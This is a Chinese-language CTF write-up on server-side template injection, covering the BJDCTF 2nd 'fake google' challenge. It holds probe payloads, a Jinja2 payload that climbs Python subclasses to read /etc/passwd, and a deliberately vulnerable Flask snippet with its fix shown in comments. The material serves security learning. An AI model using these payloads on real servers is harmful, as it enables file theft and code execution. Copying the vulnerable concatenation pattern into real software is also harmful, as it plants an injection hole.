ssti注入(伺服器模板注入) && BJDCTF 2nd fake google
阿新 • • 發佈:2020-07-12
參考連結:
https://www.cnblogs.com/buchuo/p/12559408.html
https://www.cnblogs.com/tiaopidejun/p/12357245.html
https://www.cnblogs.com/gzs-monkey/p/10727330.html#autoid-0-0-0
0x00:SSTI介紹
ssti注入又稱伺服器端模板注入攻擊(Server-Side Template Injection),和sql注入一樣,也是由於接受使用者輸入而造成的安全問題。
它的實質就是伺服器端接受了使用者的輸入,沒有經過過濾或者說過濾不嚴謹,將使用者輸入作為web應用模板的一部分,但是在進行編譯渲染的過程中,執行了使用者輸入的惡意程式碼,造成資訊洩露,程式碼執行,getshell等問題。
這個問題主要是出在web應用模板渲染的過程中,目前比較流行的渲染引擎模板主要有:smarty,twig,jinja2,freemarker,velocity
百度百科:模板引擎(這裡特指用於Web開發的模板引擎)是為了使使用者介面與業務資料(內容)分離而產生的,它可以生成特定格式的文件,用於網站的模板引擎就會生成一個標準的HTML文件。
0x01:測試方法
BJDCTF 2nd fake google
輸入任何東西,都會顯示在頁面上
<script>alert('1')</script> 還有XSS但沒用
測試payload
?name={{2*3}}
?name={{1+2}} //這個需要把 + URL編碼一下 即 {{1%2b2}}
python3 讀取檔案
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
ssti注入工具
https://github.com/epinna/tplmap
一題:https://blog.csdn.net/qq_40827990/article/details/82940894
python OS 模組執行命令
簡單的漏洞測試程式碼
from flask import Flask, request from jinja2 import Environment app = Flask(__name__) Jinja2 = Environment() @app.route("/page") def page(): name = request.values.get('name') # SSTI VULNERABILITY # The vulnerability is introduced concatenating the # user-provided `name` variable to the template string. output = Jinja2.from_string('Hello ' + name + '!').render() # Instead, the variable should be passed to the template context. # Jinja2.from_string('Hello {{name}}!').render(name = name) return output if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
1